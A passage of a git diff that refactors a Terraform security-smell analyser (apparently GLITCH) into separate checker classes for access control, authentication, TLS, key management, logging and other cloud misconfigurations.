self.sensitive_iam_action = SecurityVisitor.EmptyChecker() - self.key_management = SecurityVisitor.EmptyChecker() - self.network_security_rules = SecurityVisitor.EmptyChecker() - self.permission_iam_policies = SecurityVisitor.EmptyChecker() - self.logging = SecurityVisitor.EmptyChecker() - self.attached_resource = SecurityVisitor.EmptyChecker() - self.versioning = SecurityVisitor.EmptyChecker() - self.naming = SecurityVisitor.EmptyChecker() - self.replication = SecurityVisitor.EmptyChecker() - + for child in TerraformSmellChecker.__subclasses__(): + self.checkers.append(child()) + if tech == Tech.docker: self.non_off_img = SecurityVisitor.DockerNonOfficialImageSmell() else: @@ -1222,26 +146,8 @@ def check_atomicunit(self, au: AtomicUnit, file: str) -> List[Error]: errors.append(Error('sec_obsolete_command', attr, file, repr(attr))) break - errors += self.integrity_policy.check(au, file, self.code, au.name) - errors += self.https.check(au, file, self.code, au.name) - errors += self.ssl_tls_policy.check(au, file, self.code, au.name) - errors += self.dnssec.check(au, file, self.code, au.name) - errors += self.public_ip.check(au, file, self.code, au.name) - errors += self.access_control.check(au, file, self.code, au.name) - errors += self.authentication.check(au, file, self.code, au.name) - errors += self.missing_encryption.check(au, file, self.code, au.name) - errors += self.firewall_misconfig.check(au, file, self.code, au.name) - errors += self.threats_detection.check(au, file, self.code, au.name) - errors += self.weak_password_key_policy.check(au, file, self.code, au.name) - errors += self.sensitive_iam_action.check(au, file, self.code, au.name) - errors += self.key_management.check(au, file, self.code, au.name) - errors += self.network_security_rules.check(au, file, self.code, au.name) - errors += self.permission_iam_policies.check(au, file, self.code, au.name) - errors += self.logging.check(au, file, self.code, au.name) - errors += self.attached_resource.check(au, file, self.code, au.name) - errors += self.versioning.check(au, file, self.code, au.name) - errors += self.naming.check(au, file, self.code, au.name) - errors += self.replication.check(au, file, self.code, au.name) + for checker in self.checkers: + errors += checker.check(au, file, self.code, au.name) if self.__is_http_url(au.name): errors.append(Error('sec_https', au, file, repr(au))) @@ -1387,26 +293,8 @@ def get_module_var(c, name: str): has_variable = False value = var.value - errors += self.https.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.integrity_policy.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.ssl_tls_policy.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.dnssec.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.public_ip.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.access_control.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.authentication.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.missing_encryption.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.firewall_misconfig.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.threats_detection.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.weak_password_key_policy.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.sensitive_iam_action.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.key_management.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.network_security_rules.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.permission_iam_policies.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.logging.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.attached_resource.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.versioning.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.naming.check(c, file, self.code, name, value, au_type, parent_name) - errors += self.replication.check(c, file, self.code, name, value, au_type, parent_name) + for checker in self.checkers: + errors += checker.check(c, file, self.code, name, value, au_type, parent_name) return errors @@ -1527,3 +415,8 @@ def __is_weak_crypt(value: str, name: str) -> bool: whitelist = any(word in name or word in value for word in SecurityVisitor.__CRYPT_WHITELIST) return not whitelist return False + + +# NOTE: in the end of the file to avoid circular import +# Imports all the classes defined in the __init__.py file +from glitch.analysis.terraform import * \ No newline at end of file diff --git a/glitch/analysis/terraform/__init__.py b/glitch/analysis/terraform/__init__.py new file mode 100644 index 00000000..c8dd9235 --- /dev/null +++ b/glitch/analysis/terraform/__init__.py @@ -0,0 +1,7 @@ +import os + +__all__ = [] + +for file in os.listdir(os.path.dirname(__file__)): + if file.endswith(".py") and file != "__init__.py": + __all__.append(file[:-3]) \ No newline at end of file diff --git a/glitch/analysis/terraform/access_control.py b/glitch/analysis/terraform/access_control.py new file mode 100644 index 00000000..fe958294 --- /dev/null +++ b/glitch/analysis/terraform/access_control.py @@ -0,0 +1,86 @@ +import re +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformAccessControl(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.aws_api_gateway_method"): + http_method = self.check_required_attribute(element.attributes, [""], 'http_method') + authorization =self.check_required_attribute(element.attributes, [""], 'authorization') + if (http_method and authorization): + if (http_method.value.lower() == 'get' and authorization.value.lower() == 'none'): + api_key_required = self.check_required_attribute(element.attributes, [""], 'api_key_required') + if api_key_required and f"{api_key_required.value}".lower() != 'true': + errors.append(Error('sec_access_control', api_key_required, file, repr(api_key_required))) + elif not api_key_required: + errors.append(Error('sec_access_control', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'api_key_required'.")) + elif (http_method and not authorization): + errors.append(Error('sec_access_control', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'authorization'.")) + elif (element.type == "resource.github_repository"): + visibility = self.check_required_attribute(element.attributes, [""], 'visibility') + if visibility: + if visibility.value.lower() not in ["private", "internal"]: + errors.append(Error('sec_access_control', visibility, file, repr(visibility))) + else: + private = self.check_required_attribute(element.attributes, [""], 'private') + if private: + if f"{private.value}".lower() != "true": + errors.append(Error('sec_access_control', private, file, repr(private))) + else: + errors.append(Error('sec_access_control', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'visibility' or 'private'.")) + elif (element.type == "resource.google_sql_database_instance"): + errors += self.check_database_flags(element, file, 'sec_access_control', "cross db ownership chaining", "off") + elif (element.type == "resource.aws_s3_bucket"): + expr = "\${aws_s3_bucket\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + if not self.get_associated_au(code, file, "resource.aws_s3_bucket_public_access_block", "bucket", pattern, [""]): + errors.append(Error('sec_access_control', element, file, repr(element), + f"Suggestion: check for a required resource 'aws_s3_bucket_public_access_block' " + + f"associated to an 'aws_s3_bucket' resource.")) + + for config in SecurityVisitor._ACCESS_CONTROL_CONFIGS: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_access_control', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for item in SecurityVisitor._POLICY_KEYWORDS: + if item.lower() == elem_name: + for config in SecurityVisitor._POLICY_ACCESS_CONTROL: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() + pattern = re.compile(rf"{expr}") + allow_expr = "\"effect\":" + "\s*" + "\"allow\"" + allow_pattern = re.compile(rf"{allow_expr}") + if re.search(pattern, elem_value) and re.search(allow_pattern, elem_value): + errors.append(Error('sec_access_control', element, file, repr(element))) + break + + if (re.search(r"actions\[\d+\]", elem_name) and parent_name == "permissions" + and au_type == "resource.azurerm_role_definition" and elem_value == "*"): + errors.append(Error('sec_access_control', element, file, repr(element))) + elif (((re.search(r"members\[\d+\]", elem_name) and au_type == "resource.google_storage_bucket_iam_binding") + or (elem_name == "member" and au_type == "resource.google_storage_bucket_iam_member")) + and (elem_value == "allusers" or elem_value == "allauthenticatedusers")): + errors.append(Error('sec_access_control', element, file, repr(element))) + elif (elem_name == "email" and parent_name == "service_account" + and au_type == "resource.google_compute_instance" + and re.search(r".-compute@developer.gserviceaccount.com", elem_value)): + errors.append(Error('sec_access_control', element, file, repr(element))) + + for config in SecurityVisitor._ACCESS_CONTROL_CONFIGS: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and not element.has_variable + and elem_value.lower() not in config['values'] + and config['values'] != [""]): + errors.append(Error('sec_access_control', element, file, repr(element))) + break + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/attached_resource.py b/glitch/analysis/terraform/attached_resource.py new file mode 100644 index 00000000..38be2997 --- /dev/null +++ b/glitch/analysis/terraform/attached_resource.py @@ -0,0 +1,33 @@ +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformAttachedResource(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + def check_attached_resource(attributes, resource_types): + for a in attributes: + if a.value != None: + for resource_type in resource_types: + if (f"{a.value}".lower().startswith("${" + f"{resource_type}.") + or f"{a.value}".lower().startswith(f"{resource_type}.")): + resource_name = a.value.lower().split(".")[1] + if self.get_au(code, file, resource_name, f"resource.{resource_type}"): + return True + elif a.value == None: + attached = check_attached_resource(a.keyvalues, resource_types) + if attached: + return True + return False + + if (element.type == "resource.aws_route53_record"): + type_A = self.check_required_attribute(element.attributes, [""], "type", "a") + if type_A and not check_attached_resource(element.attributes, SecurityVisitor._POSSIBLE_ATTACHED_RESOURCES): + errors.append(Error('sec_attached_resource', element, file, repr(element))) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + pass + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/authentication.py b/glitch/analysis/terraform/authentication.py new file mode 100644 index 00000000..fd8bce15 --- /dev/null +++ b/glitch/analysis/terraform/authentication.py @@ -0,0 +1,45 @@ +import re +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformAuthentication(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.google_sql_database_instance"): + errors += self.check_database_flags(element, file, 'sec_authentication', "contained database authentication", "off") + elif (element.type == "resource.aws_iam_group"): + expr = "\${aws_iam_group\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + if not self.get_associated_au(code, file, "resource.aws_iam_group_policy", "group", pattern, [""]): + errors.append(Error('sec_authentication', element, file, repr(element), + f"Suggestion: check for a required resource 'aws_iam_group_policy' associated to an " + + f"'aws_iam_group' resource.")) + + for config in SecurityVisitor._AUTHENTICATION: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_authentication', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for item in SecurityVisitor._POLICY_KEYWORDS: + if item.lower() == elem_name: + for config in SecurityVisitor._POLICY_AUTHENTICATION: + if au_type in config['au_type']: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() + pattern = re.compile(rf"{expr}") + if not re.search(pattern, elem_value): + errors.append(Error('sec_authentication', element, file, repr(element))) + + for config in SecurityVisitor._AUTHENTICATION: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and not element.has_variable + and elem_value.lower() not in config['values'] + and config['values'] != [""]): + errors.append(Error('sec_authentication', element, file, repr(element))) + break + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/dns_policy.py b/glitch/analysis/terraform/dns_policy.py new file mode 100644 index 00000000..6b87fd99 --- /dev/null +++ b/glitch/analysis/terraform/dns_policy.py @@ -0,0 +1,24 @@ +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformDnsWithoutDnssec(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + for config in SecurityVisitor._DNSSEC_CONFIGS: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_dnssec', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._DNSSEC_CONFIGS: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and not element.has_variable + and elem_value.lower() not in config['values'] + and config['values'] != [""]): + return [Error('sec_dnssec', element, file, repr(element))] + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/firewall_misconfig.py b/glitch/analysis/terraform/firewall_misconfig.py new file mode 100644 index 00000000..dd661023 --- /dev/null +++ b/glitch/analysis/terraform/firewall_misconfig.py @@ -0,0 +1,26 @@ +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformFirewallMisconfig(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + for config in SecurityVisitor._FIREWALL_CONFIGS: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_firewall_misconfig', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._FIREWALL_CONFIGS: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + return [Error('sec_firewall_misconfig', element, file, repr(element))] + elif ("any_not_empty" not in config['values'] and not element.has_variable and + elem_value.lower() not in config['values']): + return [Error('sec_firewall_misconfig', element, file, repr(element))] + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/http_without_tls.py b/glitch/analysis/terraform/http_without_tls.py new file mode 100644 index 00000000..1f4e7ab9 --- /dev/null +++ b/glitch/analysis/terraform/http_without_tls.py @@ -0,0 +1,43 @@ +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformHttpWithoutTls(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "data.http"): + url = self.check_required_attribute(element.attributes, [""], "url") + if ("${" in url.value): + vars = url.value.split("${") + r = url.value.split("${")[1].split("}")[0] + for var in vars: + if "data" in var or "resource" in var: + r = var.split("}")[0] + break + type = r.split(".")[0] + if type in ["data", "resource"]: + resource_type = r.split(".")[1] + resource_name = r.split(".")[2] + else: + type = "resource" + resource_type = r.split(".")[0] + resource_name = r.split(".")[1] + if self.get_au(code, file, resource_name, type + "." + resource_type): + errors.append(Error('sec_https', url, file, repr(url))) + + for config in SecurityVisitor._HTTPS_CONFIGS: + if (config["required"] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config["parents"], config['attribute'])): + errors.append(Error('sec_https', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._HTTPS_CONFIGS: + if (elem_name == config["attribute"] and au_type in config["au_type"] + and parent_name in config["parents"] and not element.has_variable + and elem_value.lower() not in config["values"]): + return [Error('sec_https', element, file, repr(element))] + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/integrity_policy.py b/glitch/analysis/terraform/integrity_policy.py new file mode 100644 index 00000000..b0197116 --- /dev/null +++ b/glitch/analysis/terraform/integrity_policy.py @@ -0,0 +1,22 @@ +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformIntegrityPolicy(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + for policy in SecurityVisitor._INTEGRITY_POLICY: + if (policy['required'] == "yes" and element.type in policy['au_type'] + and not self.check_required_attribute(element.attributes, policy['parents'], policy['attribute'])): + errors.append(Error('sec_integrity_policy', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) + elif isinstance(element, Attribute) or isinstance(element, Variable): + for policy in SecurityVisitor._INTEGRITY_POLICY: + if (elem_name == policy['attribute'] and au_type in policy['au_type'] + and parent_name in policy['parents'] and not element.has_variable + and elem_value.lower() not in policy['values']): + return[Error('sec_integrity_policy', element, file, repr(element))] + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/key_management.py b/glitch/analysis/terraform/key_management.py new file mode 100644 index 00000000..cafe3376 --- /dev/null +++ b/glitch/analysis/terraform/key_management.py @@ -0,0 +1,50 @@ +import re +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformKeyManagement(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.azurerm_storage_account"): + expr = "\${azurerm_storage_account\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + if not self.get_associated_au(code, file, "resource.azurerm_storage_account_customer_managed_key", "storage_account_id", + pattern, [""]): + errors.append(Error('sec_key_management', element, file, repr(element), + f"Suggestion: check for a required resource 'azurerm_storage_account_customer_managed_key' " + + f"associated to an 'azurerm_storage_account' resource.")) + for config in SecurityVisitor._KEY_MANAGEMENT: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_key_management', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._KEY_MANAGEMENT: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + errors.append(Error('sec_key_management', element, file, repr(element))) + break + elif ("any_not_empty" not in config['values'] and not element.has_variable and + elem_value.lower() not in config['values']): + errors.append(Error('sec_key_management', element, file, repr(element))) + break + + if (elem_name == "rotation_period" and au_type == "resource.google_kms_crypto_key"): + expr1 = r'\d+\.\d{0,9}s' + expr2 = r'\d+s' + if (re.search(expr1, elem_value) or re.search(expr2, elem_value)): + if (int(elem_value.split("s")[0]) > 7776000): + errors.append(Error('sec_key_management', element, file, repr(element))) + else: + errors.append(Error('sec_key_management', element, file, repr(element))) + elif (elem_name == "kms_master_key_id" and ((au_type == "resource.aws_sqs_queue" + and elem_value == "alias/aws/sqs") or (au_type == "resource.aws_sns_queue" + and elem_value == "alias/aws/sns"))): + errors.append(Error('sec_key_management', element, file, repr(element))) + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/logging.py b/glitch/analysis/terraform/logging.py new file mode 100644 index 00000000..750a80fa --- /dev/null +++ b/glitch/analysis/terraform/logging.py @@ -0,0 +1,238 @@ +import re +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformLogging(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.aws_eks_cluster"): + enabled_cluster_log_types = self.check_required_attribute(element.attributes, [""], "enabled_cluster_log_types[0]") + types = ["api", "authenticator", "audit", "scheduler", "controllermanager"] + if enabled_cluster_log_types: + i = 0 + while enabled_cluster_log_types: + a = enabled_cluster_log_types + if enabled_cluster_log_types.value.lower() in types: + types.remove(enabled_cluster_log_types.value.lower()) + i += 1 + enabled_cluster_log_types = self.check_required_attribute(element.attributes, [""], f"enabled_cluster_log_types[{i}]") + if types != []: + errors.append(Error('sec_logging', a, file, repr(a), + f"Suggestion: check for additional log type(s) {types}.")) + else: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'enabled_cluster_log_types'.")) + elif (element.type == "resource.aws_msk_cluster"): + broker_logs = self.check_required_attribute(element.attributes, ["logging_info"], "broker_logs") + if broker_logs: + active = False + logs_type = ["cloudwatch_logs", "firehose", "s3"] + a_list = [] + for type in logs_type: + log = self.check_required_attribute(broker_logs.keyvalues, [""], type) + if log: + enabled = self.check_required_attribute(log.keyvalues, [""], "enabled") + if enabled and f"{enabled.value}".lower() == "true": + active = True + elif enabled and f"{enabled.value}".lower() != "true": + a_list.append(enabled) + if not active and a_list == []: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name " + + f"'logging_info.broker_logs.[cloudwatch_logs/firehose/s3].enabled'.")) + if not active and a_list != []: + for a in a_list: + errors.append(Error('sec_logging', a, file, repr(a))) + else: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name " + + f"'logging_info.broker_logs.[cloudwatch_logs/firehose/s3].enabled'.")) + elif (element.type == "resource.aws_neptune_cluster"): + active = False + enable_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enable_cloudwatch_logs_exports[0]") + if enable_cloudwatch_logs_exports: + i = 0 + while enable_cloudwatch_logs_exports: + a = enable_cloudwatch_logs_exports + if enable_cloudwatch_logs_exports.value.lower() == "audit": + active = True + break + i += 1 + enable_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enable_cloudwatch_logs_exports[{i}]") + if not active: + errors.append(Error('sec_logging', a, file, repr(a))) + else: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'enable_cloudwatch_logs_exports'.")) + elif (element.type == "resource.aws_docdb_cluster"): + active = False + enabled_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enabled_cloudwatch_logs_exports[0]") + if enabled_cloudwatch_logs_exports: + i = 0 + while enabled_cloudwatch_logs_exports: + a = enabled_cloudwatch_logs_exports + if enabled_cloudwatch_logs_exports.value.lower() in ["audit", "profiler"]: + active = True + break + i += 1 + enabled_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enabled_cloudwatch_logs_exports[{i}]") + if not active: + errors.append(Error('sec_logging', a, file, repr(a))) + else: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'enabled_cloudwatch_logs_exports'.")) + elif (element.type == "resource.azurerm_mssql_server"): + expr = "\${azurerm_mssql_server\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + assoc_au = self.get_associated_au(code, file, "resource.azurerm_mssql_server_extended_auditing_policy", + "server_id", pattern, [""]) + if not assoc_au: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required resource 'azurerm_mssql_server_extended_auditing_policy' " + + f"associated to an 'azurerm_mssql_server' resource.")) + elif (element.type == "resource.azurerm_mssql_database"): + expr = "\${azurerm_mssql_database\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + assoc_au = self.get_associated_au(code, file, "resource.azurerm_mssql_database_extended_auditing_policy", + "database_id", pattern, [""]) + if not assoc_au: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required resource 'azurerm_mssql_database_extended_auditing_policy' " + + f"associated to an 'azurerm_mssql_database' resource.")) + elif (element.type == "resource.azurerm_postgresql_configuration"): + name = self.check_required_attribute(element.attributes, [""], "name") + value = self.check_required_attribute(element.attributes, [""], "value") + if (name and name.value.lower() in ["log_connections", "connection_throttling", "log_checkpoints"] + and value and value.value.lower() != "on"): + errors.append(Error('sec_logging', value, file, repr(value))) + elif (element.type == "resource.azurerm_monitor_log_profile"): + categories = self.check_required_attribute(element.attributes, [""], "categories[0]") + activities = [ "action", "delete", "write"] + if categories: + i = 0 + while categories: + a = categories + if categories.value.lower() in activities: + activities.remove(categories.value.lower()) + i += 1 + categories = self.check_required_attribute(element.attributes, [""], f"categories[{i}]") + if activities != []: + errors.append(Error('sec_logging', a, file, repr(a), + f"Suggestion: check for additional activity type(s) {activities}.")) + else: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'categories'.")) + elif (element.type == "resource.google_sql_database_instance"): + for flag in SecurityVisitor._GOOGLE_SQL_DATABASE_LOG_FLAGS: + required_flag = True + if flag['required'] == "no": + required_flag = False + errors += self.check_database_flags(element, file, 'sec_logging', flag['flag_name'], flag['value'], required_flag) + elif (element.type == "resource.azurerm_storage_container"): + storage_account_name = self.check_required_attribute(element.attributes, [""], "storage_account_name") + if storage_account_name and storage_account_name.value.lower().startswith("${azurerm_storage_account."): + name = storage_account_name.value.lower().split('.')[1] + storage_account_au = self.get_au(code, file, name, "resource.azurerm_storage_account") + if storage_account_au: + expr = "\${azurerm_storage_account\." + f"{name}\." + pattern = re.compile(rf"{expr}") + assoc_au = self.get_associated_au(code, file, "resource.azurerm_log_analytics_storage_insights", + "storage_account_id", pattern, [""]) + if assoc_au: + blob_container_names = self.check_required_attribute(assoc_au.attributes, [""], "blob_container_names[0]") + if blob_container_names: + i = 0 + contains_blob_name = False + while blob_container_names: + a = blob_container_names + if blob_container_names.value: + contains_blob_name = True + break + i += 1 + blob_container_names = self.check_required_attribute(assoc_au.attributes, [""], f"blob_container_names[{i}]") + if not contains_blob_name: + errors.append(Error('sec_logging', a, file, repr(a))) + else: + errors.append(Error('sec_logging', assoc_au, file, repr(assoc_au), + f"Suggestion: check for a required attribute with name 'blob_container_names'.")) + else: + errors.append(Error('sec_logging', storage_account_au, file, repr(storage_account_au), + f"Suggestion: check for a required resource 'azurerm_log_analytics_storage_insights' " + + f"associated to an 'azurerm_storage_account' resource.")) + else: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + + f"'azurerm_storage_account' resource in order to enable logging.")) + else: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + + f"'azurerm_storage_account' resource in order to enable logging.")) + container_access_type = self.check_required_attribute(element.attributes, [""], "container_access_type") + if container_access_type and container_access_type.value.lower() not in ["blob", "private"]: + errors.append(Error('sec_logging', container_access_type, file, repr(container_access_type))) + elif (element.type == "resource.aws_ecs_cluster"): + name = self.check_required_attribute(element.attributes, ["setting"], "name", "containerinsights") + if name: + enabled = self.check_required_attribute(element.attributes, ["setting"], "value") + if enabled: + if enabled.value.lower() != "enabled": + errors.append(Error('sec_logging', enabled, file, repr(enabled))) + else: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'setting.value'.")) + else: + errors.append(Error('sec_logging', element, file, repr(element), + "Suggestion: check for a required attribute with name 'setting.name' and value 'containerInsights'.")) + elif (element.type == "resource.aws_vpc"): + expr = "\${aws_vpc\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + assoc_au = self.get_associated_au(code, file, "resource.aws_flow_log", + "vpc_id", pattern, [""]) + if not assoc_au: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required resource 'aws_flow_log' " + + f"associated to an 'aws_vpc' resource.")) + + for config in SecurityVisitor._LOGGING: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + if (elem_name == "cloud_watch_logs_group_arn" and au_type == "resource.aws_cloudtrail"): + if re.match(r"^\${aws_cloudwatch_log_group\..", elem_value): + aws_cloudwatch_log_group_name = elem_value.split('.')[1] + if not self.get_au(code, file, aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required resource 'aws_cloudwatch_log_group' " + + f"with name '{aws_cloudwatch_log_group_name}'.")) + else: + errors.append(Error('sec_logging', element, file, repr(element))) + elif (((elem_name == "retention_in_days" and parent_name == "" + and au_type in ["resource.azurerm_mssql_database_extended_auditing_policy", + "resource.azurerm_mssql_server_extended_auditing_policy"]) + or (elem_name == "days" and parent_name == "retention_policy" + and au_type == "resource.azurerm_network_watcher_flow_log")) + and ((not elem_value.isnumeric()) or (elem_value.isnumeric() and int(elem_value) < 90))): + errors.append(Error('sec_logging', element, file, repr(element))) + elif (elem_name == "days" and parent_name == "retention_policy" + and au_type == "resource.azurerm_monitor_log_profile" + and (not elem_value.isnumeric() or (elem_value.isnumeric() and int(elem_value) < 365))): + errors.append(Error('sec_logging', element, file, repr(element))) + + for config in SecurityVisitor._LOGGING: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + errors.append(Error('sec_logging', element, file, repr(element))) + break + elif ("any_not_empty" not in config['values'] and not element.has_variable and + elem_value.lower() not in config['values']): + errors.append(Error('sec_logging', element, file, repr(element))) + break + return errors \ No newline at end of file diff --git 